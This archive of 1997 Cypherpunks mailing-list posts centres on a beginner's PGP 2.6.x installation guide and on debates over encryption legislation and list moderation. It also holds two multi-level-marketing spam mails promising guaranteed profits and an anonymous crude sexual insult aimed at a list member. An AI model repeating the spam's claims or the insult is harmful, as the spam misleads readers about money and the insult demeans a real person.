From vitality at plant.mail-response.com Thu May 1 04:28:02 1997 From: vitality at plant.mail-response.com (RHS Linux User) Date: Thu, 1 May 1997 04:28:02 -0700 (PDT) Subject: Make a ton of Money Sending Postcards!! Message-ID: <199705010609.CAA07294@plant.mail-response.com> ******************************************************** This is a one time mailing. We apologize if it offends you. To be removed from a master mailing list, type REMOVE as the Subject and send to: remove at lotsmorehits.com ******************************************************** A PROFESSIONAL AND ETHICAL MARKETING GROUP HAS JOINED WITH A STABLE AND VISIONARY HEALTH PRODUCTS COMPANY! AND HERE ARE THE RESULTS! 1. Thousands of people are being introduced to affordable life enhancing products of the highest quality! 2. The marketing group does all the sales work! ALL YOU DO IS: 1. Mail a postcard that refers people to the marketing group! WHAT YOU GET IS: 1. A STRESS FREE AND RISK FREE PROFITABLE HOME BUSINESS! 2. THE FINEST HEALTH CARE PRODUCTS AT WHOLESALE! 3. A BUSINESS THAT EVEN YOUR CHILD CAN TAKE PART IN! 4. A 90 DAY 100% MONEY BACK GUARANTEE THAT YOU WILL BE PROFITABLE! ********************************************************** TAKE THE FIRST STEP TO HEALTH AND WEALTH! TO RECEIVE YOUR POSTCARD TO SUCCESS, CALL 1-510-549-7890 24 HOURS, OR SIMPLY REPLY TO: vitality at mail-response.com AND LEAVE YOUR NAME ADDRESS AND PHONE # You can also get full details right now by sending an email to: infoback at mail-response.com ********************************************************* NETWORK MARKETING WILL NEVER BE EASIER AND MORE PLEASANT THAN THIS! ********************************************************* From stewarts at ix.netcom.com Thu May 1 00:01:35 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 1 May 1997 15:01:35 +0800 Subject: mainstream media corruption same as govt In-Reply-To: Message-ID: <3.0.1.32.19970430224046.005ebef0@popd.ix.netcom.com> At 05:33 PM 4/30/97 -0700, Vladimir wrote: >the crack cocaine situation in LA is a good example of how the truth >is buried by the media. a maverick newspaper reports something close to the >truth and the cia-manipulated mouthpieces around the country pile on >the journalist and the newspaper in a barrage of picks that choke the >truth in clouds of smoke. The main thing that puzzled me about that episode was that everybody made such a big deal over it. I mean, didn't _everybody_ remember that Ollie North's Contra buddies were smuggling coke and occasionally getting caught at it? The whole Yankee-Panamanian War was largely caused by my liberal friends with their "Bush and Noriega in '88" bumper stickers that George "I am not a wimp!" Bush had to distance himself from :-) "Bush and Noriega - A _Crack_ Team!" And then there's "The Politics of Heroin in Southeast Asia", for a more scholarly and thorough treatment; I think the followon book was just named "The Politics of Heroin". # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From harka at nycmetro.com Thu May 1 03:33:10 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Thu, 1 May 1997 18:33:10 +0800 Subject: PGPSteps Message-ID: <33686DFB.3899@nycmetro.com> I've done a semi-major update of "PGPSteps" and included key revokation in the set-up part. Also various URL's were added/corrected/updated. I've tried to include Windows 95 references as well (where applicable). By now I consider "PGPSteps" "complete" in terms of the installing procedure. I hope, it's still simple and easy, although it's a couple page longer now. If you have any comments, corrections etc., please let me know. Ciao Harka PS: Dave, please update it on the Web page. Thanks :) -- /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNED MESSAGE----- PGPSteps -------- Pretty Good Privacy (PGP) Installation - Step by Step by Harka last updated: 05/01/1997 "PGPSteps" (c) may be distributed freely without charge, left unchanged and the intact signature. The latest version is available by sending an e-mail to harka(at)nycmetro.com with the subject: SEND PGPSTEPS (finger for update info). See also http://bureau42.base.org/public/pgpsteps.txt for a recent version. Note: This document is intended for first-time PGP users. It is meant as a short step-by-step reference guide for the installation of PGP (Pretty Good Privacy), versions 2.6.2 and 2.6.3i, on an IBM compatible computer running DOS/Windows. However, it is _not_ meant to replace the PGP-documentation in any way. As a matter of fact, it is highly recommended to read at least pgpdoc1.txt (included in the PGP-distribution) _before_ actually installing the program. Much more additional info not covered here you'll also find in the various comprehensive FAQ's (see FURTHER INFORMATION at the end). Portions from the PGP documentation have been used herein. Thanks to Philip Zimmermann, Perry Metzger, Colin Plumb, Derek Atkins, Jeffrey I. Schiller, all of the Cypherpunks list and others. It might be useful to print this document out as a reference. ==================================================================== So you feel like having some more privacy by using PGP? Wise decision! Congratulations :) All install steps in short -------------------------- --download the respective PGP version --create C:\PGP directory --copy the downloaded zip into C:\PGP --unzip pgp262.zip (pgp263i.zip) into the C:\PGP directory --unzip second archive pgp262i.zip (pgp263ii.zip) into the C:\PGP directory, recreating the directories by using pkunzip's -d option --edit autoexec.bat, adding the lines SET PGPPATH=C:\PGP SET PATH=C:\PGP;%PATH% and SET TZ= (see below). --save autoexec.bat and reboot --create key pair with pgp -kg --sign key with pgp -ks yourID -u yourID (only version 2.6.2) --add keys from keys.asc to your public keyring with pgp -ka keys.asc --verify integrity of PGP distribution archive with pgp pgp262i.asc pgp262i.zip (pgp pgp263ii.asc pgp263ii.zip) --copy keys and the downloaded zip-file to floppy as a backup --create Key Revokation Certificate with pgp -kd yourID --extract revoked key with pgp -kxa yourID revoke into a file called revoke.asc --copy revoke.asc to the backup disk --copy secring.pgp and pubring.pgp from backup disk back into the C:\PGP directory, overwriting the revoked keys --write-protect backup disk and keep in a safe location --add public key to a key server (optional) --have fun (it all sounds more complicated than it is...promised :)) Getting PGP ----------- The latest official US-version is PGP 2.6.2 (freeware). If you are a citizen of the United States, you can download pgp262.zip from the Massachusetts Institute of Technology (MIT) at http://web.mit.edu/network/pgp.html The latest international version is 2.6.3ia (freeware). If you live in any other country than the US, you can download pgp263i.zip from the International PGP-Homepage at http://www.ifi.uio.no/pgp/ The reason for two separate versions are patent law issues. If you use the international version in the US (or vice versa) you might be in violation of these patent laws. Both versions are, however, essentially the same thing. Therefore download and use the one, that applies to you. Having downloaded PGP, create a C:\PGP directory. In DOS you can use MD PGP from the C:\ prompt and in Windows 3.1 you can use the File Manager. Here go to the FILE menu and CREATE DIRECTORY (in Windows 95: EXPLORER/select MAIN FOLDER (c:)/FILE/NEW/FOLDER, name the new folder PGP). Copy the downloaded pgp262.zip (or international pgp263i.zip) into your new C:\PGP directory. You might want to copy pkunzip.exe into your PGP directory as well - makes things easier :). (You will need PKUNZIP version 2.04g or later to uncompress and split the PGP262.ZIP archive file into individual files. PKUNZIP is shareware and is widely available on MSDOS machines. A Windows-version called WINZIP is available as well. More details if necessary you'll find in the PGP documentation in a file called setup.doc.) Unzip the archive in the C:\PGP directory with: pkunzip pgp262.zip or pkunzip pgp263i.zip Now you'll find a second zip file pgp262i.zip (pgp263ii.zip) in your PGP directory, plus a corresponding file pgp262i.asc (pgp263ii.asc). The .asc (ASCII)-file is the signature, that let's you verify the integrity of the archive (after you've installed PGP). Unzip pgp262i.zip (pgp263ii.zip) with: pkunzip pgp262i.zip -d or pkunzip pgp263ii.zip -d Remember to recreate the directories by using pkunzips -d option! (You should now have a subdirectory within C:\PGP called DOC, i.e. C:\PGP\DOC. As you might have guessed already, that contains the PGP documentation :)). Setting the Environment ----------------------- Next, you can set an MSDOS "environment variable" to let PGP know where to find its special files. Use your favorite text editor to add the following lines to your AUTOEXEC.BAT file (usually on your C: drive): SET PGPPATH=C:\PGP SET PATH=C:\PGP;%PATH% In DOS you can use EDIT by typing EDIT C:\AUTOEXEC.BAT . You'll probably already have a couple of SET lines, just put the one's for PGP in there somewhere. In WINDOWS 3.1 you can go to Program Manager (the main screen) and go to the menu FILE, RUN and type SYSEDIT (in Windows 95 use START/RUN/SYSEDIT). This will open several files, including the AUTOEXEC.BAT. Go to that window and include the SET lines from above. Substitute your own directory name if different from "C:\PGP". While you're editing the AUTOEXEC.BAT, include the TZ variable as well. The TZ (Time-Zone)-variable tells MSDOS what time zone you are in, which helps PGP create GMT timestamps for its keys and signatures. If you properly define TZ in AUTOEXEC.BAT, then MSDOS gives you good GMT timestamps, and will handle daylight savings time adjustments for you. Here are some sample lines to insert into AUTOEXEC.BAT (see above on how to), depending on your time zone: For Los Angeles: SET TZ=PST8PDT For Denver: SET TZ=MST7MDT For Arizona: SET TZ=MST7 (Arizona never uses daylight savings time) For Chicago: SET TZ=CST6CDT For New York: SET TZ=EST5EDT For London: SET TZ=GMT0BST For Amsterdam: SET TZ=MET-1DST For Moscow: SET TZ=MSK-3MSD For Aukland: SET TZ=NZT-13 Your AUTOEXEC.BAT should now look similar to this example: @ECHO OFF C:\MCAFEE\VSHIELD /anyaccess /xmsdata /only a: PROMPT $P$G PATH=C:\NC;C:\DOS;C:\;C:\NC\WINSOCK;C:\WINDOWS;C:\MCAFEE SET PGPPATH=C:\PGP SET PATH=C:\PGP;%PATH% SET TZ=EST5EDT SET MIXPATH=C:\NC\PI SET TEMP=C:\TRASH SET WINPMT=[WINDOWS] $P$G SET BLASTER=A220 I5 D1 T4 SET GALAXY=A220 I5 D1 K10 P530 T6 C:\DOS\SMARTDRV.EXE 1024 512 /X C:\MCAFEE\VSHIELD /reconnect win : If it does, EXCELLENT! Now save it and reboot your system to run AUTOEXEC.BAT, which will set up PGPPATH and TZ for you. Generating Your First Key ------------------------- Being new to PGP, it might be a good idea to create a test key first, so that you can play around with it and even pretend to send messages back and forth. That will give you some feeling on how it works (and also take some of the fear away :)). But note, that this is for _testing_ purposes only, it's not your actual key yet! I recommend to play around in DOS using the command lines, so when you use one of the many shells and front-ends available later on, you'll know what's going on "behind the scenes". To generate your test key, go to DOS and type: pgp -kg Since this will be a test key only, choose the smallest key size (1), make your keyID Test Key and the pass phrase TEST. Then generate the key. Now you'll find two new files in your C:\PGP directory: secring.pgp (your secret keyring) and pubring.pgp (your public keyring). Basically you're ready to play now. You might want to start by signing your own public key (Note: the international version 2.6.3i already does that automatically for you during key generation) by typing: pgp -ks test -u test ("test" being the ID for the key, that you sign and the second "test" the ID, that will be used to sign with. Since you sign your own key, both ID's are the same. Later on with your real key, however, the ID "test" will be replaced by your actual name and the key to be signed will very likely be somebody else's). You could also add the public keys from C:\PGP\keys.asc to your public keyring with: pgp -ka keys.asc After having added the keys, you now can also verify the integrity of the PGP archive (good idea!) by typing: pgp pgp262i.asc pgp262i.zip or pgp pgp263ii.asc pgp263ii.zip PGP should tell you that it has a Good Signature from: Jeffrey I. Schiller It will also tell you that it doesn't "trust" the (jis(at)mit.edu) key. This is because PGP does not *know* that the enclosed key really belongs to Jeffrey. Don't worry about this now. Read the section "How to Protect Public Keys from Tampering" in Volume 1 of the PGP manual. (If you get a Good Signature, you could now actually delete pgp262i.zip & pgp262i.asc or pgp263ii.zip & pgp263ii.asc to save some space. But keep the original archive that you downloaded around.) Or you can take some document and sign it clear-text with pgp -sta filename and then verify it by typing pgp filename.asc Or you can encrypt files, sign them, wipe them, extract keys, check fingerprints or, or, or... At the end of this document you'll find a very helpful command line summary with enough options to play with. And, of course, read the actual PGP documentation before you move on to the next step!! Getting set up for real ----------------------- Alright, you've played around with PGP, might have generated several keys, sent messages "back and forth", read the documentation and maybe the FAQ's, and generally you feel pretty comfortable with it. Of course, you actually want to now use PGP in the "real world". :) Since you've edited the autoexec.bat, have set up the PGP directory etc. already during the test run, all you actually have to do to get back to "ground zero" is delete the files C:\PGP\SECRING.PGP, C:\PGP\SECRING.BAK (if there), C:\PGP\PUBRING.PGP and C:\PGP\PUBRING.BAK (if there). Now generate your actual key with: pgp -kg This time choose at least "military grade" (option 3, 1024 bits) for your key size. Note, that both 2.6.2 and 2.6.3i support up to 2048 bit keys. If you want the maximum key size, you'll have to actually type 2048, instead of simply choosing 1, 2 or 3. For the key ID use the generally used format of: firstname lastname example: John Doe (including the < >). Now choose a _strong_ and _long_ passphrase. At least 20 different characters are recommended. Try to avoid simple words but include as many different (random) characters as possible. Example: Passphrase "Thomas" is really not a good one, especially if that's your name. "Thomas is wandering over the Red Square" is better already, but wouldn't stand long either to a dictionary attack. "Th0m@$iswaN-Der1ngOVE/RtH%r&dS\QA~<" would therefore be a much better choice. Use your imagination and remember: long, unguessable and many different characters! (see also the Passphrase FAQ and the Diceware Homepage in FURTHER INFORMATION on how to get a good passphrase) _Never_ write your passphrase down, don't tell it to anybody (not even to your boy/girlfriend, husband, mother or whomever!) and never let anybody look over your shoulder, when you type it in!! Now finish generating the key. Btw., when it comes to "type some random text", don't hit the same key over and over again :). Type your favorite poem or an article from the newspaper until it beeps. Sign your own key again with pgp -ks yourID -u yourID (only 2.6.2.) and then make backup copies of the keys and the original pgp zip-archive (that you downloaded) to a floppy disk. While you're at it, extract your public key with pgp -kxa yourID yourID and copy yourID.asc to the disk as well. Keep this file on your hard drive too; you'll probably need it quite often to cut & paste your public key from into e-mail. Next create a Key Revokation Certificate. This will be used in case you either somehow loose your secret key completely or if somebody has gotten a copy of your secret key and you have reason to believe, that they got (or will get) your passphrase too. Obviously something you want to avoid at all costs! A Key Revokation Certificate is basically your public key with a stamp "REVOKED" on it. This you can send to people (or a key server) if your secret key ever gets compromised. It will essentially tell their PGP: DON'T USE yourID's KEY EVER AGAIN 'CAUSE IT'S COMPROMISED! (see also PGP-documentation). Before you create your Revokation Certificate, make sure that you have made backup copies of your keys (secring.pgp and pubring.pgp) to the floppy-disk. You will need them! To revoke your key type: pgp -kd yourID You'll have to type in your passphrase and then your key get's revoked. If you check with pgp -kc yourID , you'll see, what it looks like. Next extract your (now revoked) key with: pgp -kxa yourID revoke into a file called revoke.asc. This is the file, that you'll send to people in case your secret key get's compromised. Copy the Key Revokation Certificate (revoke.asc) to the floppy-disk with your backup-keys. Now all you actually have to do to get your keys from "REVOKED" back to "normal" is to copy the backups (secring.pgp and pubring.pgp) from the floppy-disk back into your C:\PGP directory. Overwrite the existing (revoked) keys with the backups. If you now check with pgp -kc yourID, you should see your regular public key again (no "REVOKED" anymore). On your backup disk you should now have at least the following files: pgp262.zip -the original PGP-distribution archive (or pgp263i.zip) secring.pgp -your secret keyring pubring.pgp -your public keyring yourID.asc -your normal public key revoke.asc -your revoked public key (Revokation Certificate) autoexec.bat -(optional) Write-protect the disk and keep it in a safe place, where _nobody_ but you has access to it. That's almost it for installing PGP... As an optional step, you might want to make your public key generally available by sending it to a public key server. See http://www-swiss.ai.mit.edu/~bal/pks-toplev.html for an easy Web-form, where you can submit your own key or get the public keys from others (works also via e-mail). Check http://www.pgp.net/pgpnet/www-key.html for other WWW-key servers. You're finished with the setup now and ready to roll!! (Was pretty easy, huh? :)) Most common mistakes in the beginning ------------------------------------- 1. Sending your secring.pgp and/or your passphrase to somebody else. DON'T!! You don't need to share any of this with public key cryptography (see PGP documentation for more details). All that people need to encrypt mail to you or check your signature is your _public_ key. 2. Sending the entire file pubring.pgp to somebody else. No need to either. Extract only your _own_ key with pgp -kxa yourID filename into a file. This file you can now send either as attachment or simply cut & paste the key into your e-mail window and send it as regular e-mail (the same applies to the Revokation Certificate in revoke.asc; in case you ever need it). 3. Writing down your passphrase. As strange as it may seem, but despite all warnings a lot of people still do that. DON'T! EVER! Besides, after using PGP on a daily basis, you really should not forget your passphrase anymore anyway. 4. Not keeping physical control of secring.pgp Don't let _anybody_ get a copy of your secret keyring. Because the only thing, that will stand from there between them and all your e-mail is your passphrase. And if it's a weak one (that they can crack or guess) or they even know it (see "Writing down your passphrase"), then it's over with security and privacy. And that would be very unfortunate indeed. The same applies to the floppy disks with the backups. As a common tag line on the Internet goes: "My public key you can get with the subject: Send public key. My secret key you can pry out of my cold, dead fingers!!" 5. Not being careful with plain-text(s) PGP only protects messages and files as long as they are encrypted. If you save the de-crypted text(s) to your hard drive or even print them out and leave them laying around on your desk, then PGP can't help you anymore either, if somebody finds it. So either delete the files (wipe them with pgp -w filename) or encrypt them to yourself or encrypt them conventionally (pgp -c filename), if you need to keep them. 6. Not reading the PGP documentation at least once no comment, except RTFM! Front Ends and Plug-In's ------------------------ Of course, most of us get pretty tired after a while doing everything manually via command lines. That's where so called front-ends come in. These are additional programs, that make things like PGP much easier to use. There are literally tons of them out there (check http://www.ifi.uio.no/pgp/utils.shtml) for some of them. Personally I recommend the following three: ** AutoPGP ** by Stale Schumacher , the same guy, who also wrote the international PGP version 2.6.3i. (Shareware; registration fee is 15$) This is a DOS program designed to work together with QWK/SOUP-standard offline mail readers, such as OLX, Blue Wave, 1st Reader etc.. It makes sending/receiving PGP messages really, really easy, especially if you have lots of them. check http://www.ifi.uio.no/~staalesc/AutoPGP/ to download it. ** Private Idaho ** by Joel McNamara (Freeware) A Windows front-end not only for PGP, but also for anonymous remailers and NYM-servers. Nice and easy to use interface, and it works together with most popular mail programs. If you have a SLIP or PPP connection, you can even send/receive PGP messages right from Private Idaho itself. If not, you can "port" messages from the PI window into your regular mail program (Netscape Mail, for example) with the click of a button. If that doesn't work, you can still write your messages in Private Idaho, encrypt/sign them and then cut & paste it into your normal e-mail program (and vice versa, of course). It also comes with a PGP Quickstart file for Windows, in case you really don't feel comfortable setting up PGP in plain DOS. But why would you, since you're reading this...:) check http://www.eskimo.com/~joelm/ to download it. ** PGPMail ** by Pretty Good Privacy Inc. (29,95 $ for US users, who have PGP 2.6.2 already installed) Contact: - From the masters themselves a full-featured plug-in for the Windows 95/NT versions of Eudora 3.0 and Netscape Mail. You actually don't even need to have the freeware PGP version installed. All you'd need is PGPMail 4.5 (pgpmail45.exe). However, the price given above is a special discount given to PGP 2.6.2 freeware users (see web page for details). PGPMail 4.5 makes PGP-encryption not only easy, but fast as well. During installation it will add a few buttons to your Eudora window, which means, that you never have to leave Eudora (or Netscape) to encrypt/decrypt/sign etc.. Highly recommended, for newcomers and seasoned PGP-users alike. check http://www.pgp.com/products/PGPmail.cgi to download it (US-citizens only). PGPMail is export-controlled software. Therefore a URL outside the US can not be provided here. If you live outside the US and you use Windows 95/NT, you might want to check the windows95 directory at: ftp://ftp.replay.com/pub/replay/pub/pgp/pc/ for any other front-ends and/or plug-in's available. Here's a quick summary of PGP v2.6x commands -------------------------------------------- To encrypt a plaintext file with the recipient's public key: pgp -e textfile her_userid To sign a plaintext file with your secret key: pgp -s textfile [-u your_userid] To sign a plaintext file with your secret key and have the output readable to people without running PGP first: pgp -sta textfile [-u your_userid] To sign a plaintext file with your secret key, and then encrypt it with the recipient's public key: pgp -es textfile her_userid [-u your_userid] To encrypt a plaintext file with just conventional cryptography, type: pgp -c textfile To decrypt an encrypted file, or to check the signature integrity of a signed file: pgp ciphertextfile [-o plaintextfile] To encrypt a message for any number of multiple recipients: pgp -e textfile userid1 userid2 userid3 - --- Key management commands: To generate your own unique public/secret key pair: pgp -kg To add a public or secret key file's contents to your public or secret key ring: pgp -ka keyfile [keyring] To extract (copy) a key from your public or secret key ring: pgp -kx userid keyfile [keyring] or: pgp -kxa userid keyfile [keyring] To view the contents of your public key ring: pgp -kv[v] [userid] [keyring] To view the keys in the keyring with the signatures: pgp -kvv [userid] [keyring] To view the "fingerprint" of a public key, to help verify it over the telephone with its owner: pgp -kvc [userid] [keyring] To view the contents and check the certifying signatures of your public key ring: pgp -kc [userid] [keyring] To edit the userid or pass phrase for your secret key: pgp -ke userid [keyring] To edit the trust parameters for a public key: pgp -ke userid [keyring] To remove a key or just a userid from your public key ring: pgp -kr userid [keyring] To sign and certify someone else's public key on your public key ring: pgp -ks her_userid [-u your_userid] [keyring] To remove selected signatures from a userid on a keyring: pgp -krs userid [keyring] To permanently revoke your own key, issuing a key compromise certificate: pgp -kd your_userid To disable or reenable a public key on your own public key ring: pgp -kd userid - --- Esoteric commands: To decrypt a message and leave the signature on it intact: pgp -d ciphertextfile To create a signature certificate that is detached from the document: pgp -sb textfile [-u your_userid] To detach a signature certificate from a signed message: pgp -b ciphertextfile - --- Command options that can be used in combination with other command options (sometimes even spelling interesting words!): To produce a ciphertext file in Ascii radix-64 format, just add the - -a option when encrypting or signing a message or extracting a key: pgp -sea textfile her_userid or: pgp -kxa userid keyfile [keyring] To wipe out the plaintext file after producing the ciphertext file, just add the -w (wipe) option when encrypting or signing a message: pgp -sew message.txt her_userid To specify that a plaintext file contains ASCII text, not binary, and should be converted to recipient's local text line conventions, add the -t (text) option to other options: pgp -seat message.txt her_userid To view the decrypted plaintext output on your screen (like the Unix-style "more" command), without writing it to a file, use the -m (more) option while decrypting: pgp -m ciphertextfile To specify that the recipient's decrypted plaintext will be shown ONLY on her screen and cannot be saved to disk, add the -m option: pgp -steam message.txt her_userid To recover the original plaintext filename while decrypting, add the -p option: pgp -p ciphertextfile To use a Unix-style filter mode, reading from standard input and writing to standard output, add the -f option: pgp -feast her_userid outputfile Further Information ------------------- All of the following FAQ's and sites have much more additional information not covered here, URL's, book references, ftp-sites etc.. Check 'em out... Where to get the latest PGP (Pretty Good Privacy) FAQ; by Peter Herngaard : ftp://ftp.csn.net/mpj/getpgp.asc The Beginners Guide to Pretty Good Privacy; by Bill Morton : http://www.clark.net/pub/rothman/pgpbg11.asc The comp.security.pgp FAQ (the "official" PGP FAQ): http://www.pgp.net/pgpnet/pgp-faq/ The International PGP FAQ (for version 2.6.3i); by Stale Schumacher : http://www.ifi.uio.no/pgp/FAQ.shtml or via email with (empty) message to ; subject: GET FAQ The Passphrase FAQ; by Randall T. Williams : http://www.stack.nl/~galactus/remailers/passphrase-faq.html The Diceware Passphrase Home Page http://world.std.com/~reinhold/diceware.page.html Pointers to other Cryptographic Software http://www.cs.hut.fi/ssh/crypto/software.html Usenet: alt.security.pgp Want to know more about Privacy and Civil Liberties issues? ----------------------------------------------------------- check out these organizations and web sites: ** Electronic Privacy Information Center (EPIC) ** http://www.epic.org/ ** Electronic Frontier Foundation (EFF) ** http://www.eff.org/ ** Center for Democracy and Technology (CDT) ** http://www.cdt.org/ ** The Voters Telecommunications Watch (VTW) ** http://www.vtw.org/ ** American Civil Liberties Union (ACLU) ** http://www.aclu.org/ ** Encryption Policy Resource Page ** http://www.crypto.com/ ** Democracy Net ** http://www.democracy.net/ ** Privacy International ** http://www.privacy.org/pi/ ** Amnesty International (AI) ** (general human rights) http://www.amnesty.org/ ==================================================================== May there be peace in this world, may all anger dissolve and may all living beings find the way to happiness... harka(at)nycmetro.com Finger or e-mail for public key [KeyID: 04174301] Fingerprint: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBM2hsfzltEBIEF0MBAQG4Gwf/W24G2sxwqVzeSIO5BBKpyWd03G1xH6Jz qhkgOWfSRJ1V+2pwCXP4TAtb+ldgjB2jxtx5rv5XGC/2KWaUgjM0mhN8OAZXPb6R Nu/WKyzt5GJTN9SDe12xVC/jtBPQuTQPENFp07tx4e2KU3PlOrn/vpvHRzFk/Dfb Ck2LBw61uEyaSP2ZFdUM2exK6lioDBaUKmSW+zJWcfFfnlgaUPQRuWCmQFJidD71 u4tHO0y5VHg4G/3yXi1vuw4iUcjFcCqyqnGCAIyFmagi281xZsUI9ZgJx6Lu82c7 tD/OwOAojFbamUK1d9ISqFA8InnT+L4kpn046FaSgrrhl4njuRcOBg== =7vIU -----END PGP SIGNATURE----- From aba at dcs.ex.ac.uk Thu May 1 03:36:30 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 1 May 1997 18:36:30 +0800 Subject: Why I delete cc;s to other mailing lists In-Reply-To: Message-ID: <199705011012.LAA02200@server.test.net> Tim May writes: > I once unintentionally forgot to delete the "cryptography at c2.net" cc: on a > reply I made to what (I assumed) was a Cypherpunks message, and received a > Perrygram stating that my message was off-topic and was not welcome on his > list. The Bcc approach avoids this problem as you don't see the Cc's, so they only last for one post. That's if you have an interest in posting there at all. I've also had negative experiences of cross posting, (I did it to coderpunks and got a Futplexgram, followed by a threat of unsubscription. Pissed me off somewhat. Also again lately following up to someone else, which earned maybe 10 people a more polite multiply Cc'd: please don't cross-post note from Raph). Perry just silently nukes stuff, or says that's enough on this topic (chop). > Clearly Perry has the right to run _his_ list any way he wishes to, just as > Declan has the right to run _his_ list any way he wishes to, just as Bob > Hettinga has the right to run _his_ list (or lists) as he wishes, and just > as Lewis McCarthy has the right to the run _his_ "Coderpunks" list as he > wishes, and so on. > > However, I think these "personal" lists are not to my taste, I don't want > Perry or Declan or Bob or Lewis deciding whether my articles match their > interests at the time I submit an article. I don't either. My only interest in posting to these lists at all is that some people hang out there who don't read cypherpunks. I got a reply from Ron Rivest on the hashcash stuff as it related it to his and Shamir's MicroMint payment system. I presume from reading it on coderpunks or cryptography where I forwarded copies. > I routinely delete all of the cc:s to other lists, figuring if people want > to read my stuff they can damn well subscribe to the Real Thing, the > Cypherpunks list. So what you're saying is that you boycott them in effect, you don't send your writings to censored lists, and if they want to read your writing, they've got to read The List. Well the more quality content that comes to cypherpunks first, or exclusively to cypherpunks until a 3rd party forwards it the better, as this adds to cypherpunks reputation, and increases the value of and interest in the list. My attitude is leaning this way also. I post most things to cypherpunks first. The others I consider in effect forwards of material posted to cypherpunks. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Tim May is widely recognized on the net, because of his frequent vitriolic postings, as someone/thing ready to cut off his own penis to spite the testicles, although his friends recognize him better from the rear. __ /_/\__ \_\/\_\ Tim May /\_\/_/ \/_/ From jseiger at cdt.org Thu May 1 07:21:48 1997 From: jseiger at cdt.org (Jonah Seiger) Date: Thu, 1 May 1997 22:21:48 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: Tim - It's too bad we may not see eye-to-eye on this one. For what it's worth, CDT shares your concerns about the criminal provision in the SAFE bill. We believe that as currently written, the provision is overly broad and could create a chilling effect on the everyday use of encryption, and unnecessary because it duplicates existing obstruction of justice law. We have expressed these concerns both publicly (in a letter to the committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other organizations - see http://www.privacy.org/ipc/safe_letter.html) and privately in conversations with the committee staff. We hope to work with the authors of SAFE to address these concerns, but, as you know, we are not running this show and have to work with what the Congress gives us. However, despite our concerns about the criminal provisions, we believe strongly that the SAFE bill, and the bills in the Senate sponsored by Burns and Leahy, are vitally important and should be passed. As you know, the debate over encryption policy reform has been going on for more than 4 years. Despite all of our efforts to promote the use of encryption, crypto is still not widely used by the public. The Clinton administration has not backed off from their commitment to a global key-escrow/key-recovery system with guaranteed law enforcement access to private keys. And despite the brilliant work of EFF on the various legal challenges to the export restrictions, we feel this issue will only be fully resolved through legislation. The status quo, in our view, is not good enough. Because of the export controls and the lack of a coherent US encryption policy, Internet users do not have access to the privacy protecting encryption products they need. Congress needs to stand up to the Administration and say, with a strong voice, "your policy is a failure - we need a different solution". That's what SAFE, Pro-CODE, and ECPA II do. Best, Jonah ** THE FIGHT FOR FREE SPEECH ONLINE IS IN THE HANDS OF THE SUPREME COURT ** Find out the latest news and information about the case, visit -- -- Jonah Seiger, Communications Director (v) +1.202.637.9800 Center for Democracy and Technology pager +1.202.859.2151 PGP Key via finger http://www.cdt.org http://www.cdt.org/homes/jseiger From stop1 at usa.net Thu May 1 22:37:07 1997 From: stop1 at usa.net (stop1 at usa.net) Date: Thu, 1 May 1997 22:37:07 -0700 (PDT) Subject: HELLO Message-ID: <4756089120792879.GP493285@morebiz-7.net> We apologize if this is an unwanted message. If you wish to be removed from our list simply send a blank message to stop1 at usa.net -------------------------------------------------------------------- Make $5000 or MORE This Month!!! Are you looking for a business to generate HUGE amounts of cash in very little time, then Fortune 5000 is for you. --> NO Selling, NO Meetings, NO Inventory, NO Recruiting ** FORTUNE 5000 DOES ALL OF THE WORK FOR YOU!! ** All you do is refer people to their 800 number. Their PROFESSIONAL telemarketers do all of the selling and close all of the sales for you. -- At no cost to you! --> No out of pocket monthly purchases --> $100 Fast Start Bonuses paid EVERY Friday --> Phenomenal GUARANTEED Advertising Co-Op Plan --> Fortune 5000 pays to INFINITY! - With unlimited width! CALL NOW - 1-800-811-2141 CODE 14646a Fax On Demand 415-273-6020 * If you are an experienced networker, this is the ideal addition to your portfolio. You still can make GREAT $$$ without having to invest a great deal of time. Fortune 5000 does it all!! * Never tried a home business before? You can do this! I have seen many wealth building programs, and this is by far the easiest to make big money FAST. I encourage you to call the 800 number to get all of the details at no obligation. You will LOVE it! 1-800-811-2141 CODE 14646a From declan at well.com Thu May 1 07:38:06 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 1 May 1997 22:38:06 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" Message-ID: ---------- Forwarded message ---------- Date: Thu, 1 May 1997 10:09:27 -0400 From: Jonah Seiger To: tcmay at got.net, declan at well.com Cc: fight-censorship at vorlon.mit.edu, cypherpunks at cyberpass.net Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison" Tim - It's too bad we may not see eye-to-eye on this one. For what it's worth, CDT shares your concerns about the criminal provision in the SAFE bill. We believe that as currently written, the provision is overly broad and could create a chilling effect on the everyday use of encryption, and unnecessary because it duplicates existing obstruction of justice law. We have expressed these concerns both publicly (in a letter to the committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other organizations - see http://www.privacy.org/ipc/safe_letter.html) and privately in conversations with the committee staff. We hope to work with the authors of SAFE to address these concerns, but, as you know, we are 